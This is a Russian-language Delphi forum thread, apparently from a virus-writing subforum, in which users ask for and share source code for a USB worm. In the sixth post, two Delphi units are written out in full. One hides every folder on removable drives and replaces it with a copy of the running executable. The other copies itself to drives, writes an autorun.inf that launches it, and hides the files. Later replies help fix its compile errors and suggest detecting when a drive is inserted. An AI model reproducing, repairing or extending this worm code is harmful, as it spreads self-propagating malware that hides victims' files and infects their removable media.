Четверг, 29.06.2017, 00:04 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx 
delfcode » Delphi » Вирусология Delphi » USB WORM (нужен сорец)
USB WORM
cool1Дата: Среда, 15.09.2010, 12:25 | Сообщение # 1
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
Привет,
пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки
типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе
smile



За помощь ставьте +!


Сообщение отредактировал cool1 - Среда, 15.09.2010, 12:26
 
dolphinДата: Среда, 15.09.2010, 14:20 | Сообщение # 2
Администратор
Сообщений: 902
Статус: Offline
Всё просто файл Autorun.inf тут совсем не причём, просто сканируешь папки, меняешь атрибуты и копируешься под их именем + скрываешь расширение ехе

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
cool1Дата: Среда, 15.09.2010, 15:09 | Сообщение # 3
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
а исхдничеГ можно
angel1 angel2



За помощь ставьте +!
 
dolphinДата: Среда, 15.09.2010, 20:58 | Сообщение # 4
Администратор
Сообщений: 902
Статус: Offline
Ну смотри я тут написал 2 процедуры

Доступно только для пользователей

Эта процедура ищет съемные носители

а эта

Доступно только для пользователей

Инфецирует папки на них, то есть замещает собой и скрывает


Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик


Сообщение отредактировал dolphin - Пятница, 17.09.2010, 12:06
 
cool1Дата: Пятница, 17.09.2010, 06:06 | Сообщение # 5
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
спасиба!!! biggrin smile smile smile


За помощь ставьте +!
 
usfireДата: Суббота, 31.01.2015, 22:32 | Сообщение # 6
Новичок
Зарегистрирован: 31.01.2015
Группа: Пользователи
Сообщений: 2
Статус: Offline
Код
program Project2;

uses
       SysUtils,windows;
       var

       F: TSearchRec;
              i: Integer;
              h: THandle;
              L: TStringList;

procedure InfectDir(Root: String);

          begin        
              L:=TStringList.Create;
              L.Clear;
              L.Add(Root);
              i := 0;        
              while i < L.Count do begin
                Root := IncludeTrailingBackslash(L.Strings[i]);        
                h := FindFirst(Root + '*.*', faAnyFile, F);        
                while h = 0 do begin        
                  if (F.Attr and faDirectory) = faDirectory then begin
                    if (F.Name <> '.') and (F.Name <> '..') then begin
                      L.Add(Root + F.Name);        
                      SetFileAttributes(PChar(Root+F.Name),faHidden);        
                      CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);
                      SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);
                    end;
                  end;        
                  h :=FindNext(F);
                end;
                FindClose(F);
                Inc(i);
              end;
              L.Free;
          end;

procedure InfectUsb;        
      var
         DiskType,ifind : integer;        
         Drives : set of 0..25;        
         Drv : char;        
      begin        
         try        
         Integer(Drives):=GetLogicalDrives;
         for ifind:=0 to 25 do        
         if (ifind in Drives) then        
          begin        
          Drv:=Char(ifind+Ord('A'));        
          DiskType:=GetDriveType(PChar(Drv+':\'));
          if (DiskType = DRIVE_REMOVABLE)  then
          begin        
          InfectDir(PChar(Drv+':\'));
          end;
         end        
         except
         exit;        
         end;
      end;

begin

end


delphi 7

ошибка на tstring list

необходима рабочая версия

и как использовать процедуру

Код
unit uUSBSpread;

interface

uses
Windows, uInstall, pFunc, uConst;

function InfectUsbDrives(ExeName:string) :Integer;

implementation

function InfectUsbDrives(ExeName:string) :Integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if FileExists(Drive+':\'+ExeName) = False then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
sleep(10);
HideFile(Drive+':\'+ExeName);
sleep(10);
HideFile(Drive+':\autorun.inf');
Result := Result + 1;
end;
except
end;
end;
end;
end;

end.


uconst error

https://www.youtube.com/watch?x....QM#t=20


Сообщение отредактировал usfire - Суббота, 31.01.2015, 23:56
 
ms301Дата: Воскресенье, 15.02.2015, 20:16 | Сообщение # 7
Участник
Зарегистрирован: 28.11.2012
Группа: Пользователи
Сообщений: 98
Статус: Offline
Цитата usfire ()
ошибка на tstring list

В uses добавь Classes;
Цитата usfire ()
uconst error

рядом с проектом кинь uconst.pas

ps - элементарные ошибки...
 
AndroidДата: Четверг, 29.12.2016, 14:40 | Сообщение # 8
Постоянный
Зарегистрирован: 13.12.2011
Группа: Пользователи
Сообщений: 100
Статус: Offline
неплохо бы еще определять момент подключения флешки
 
delfcode » Delphi » Вирусология Delphi » USB WORM (нужен сорец)
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz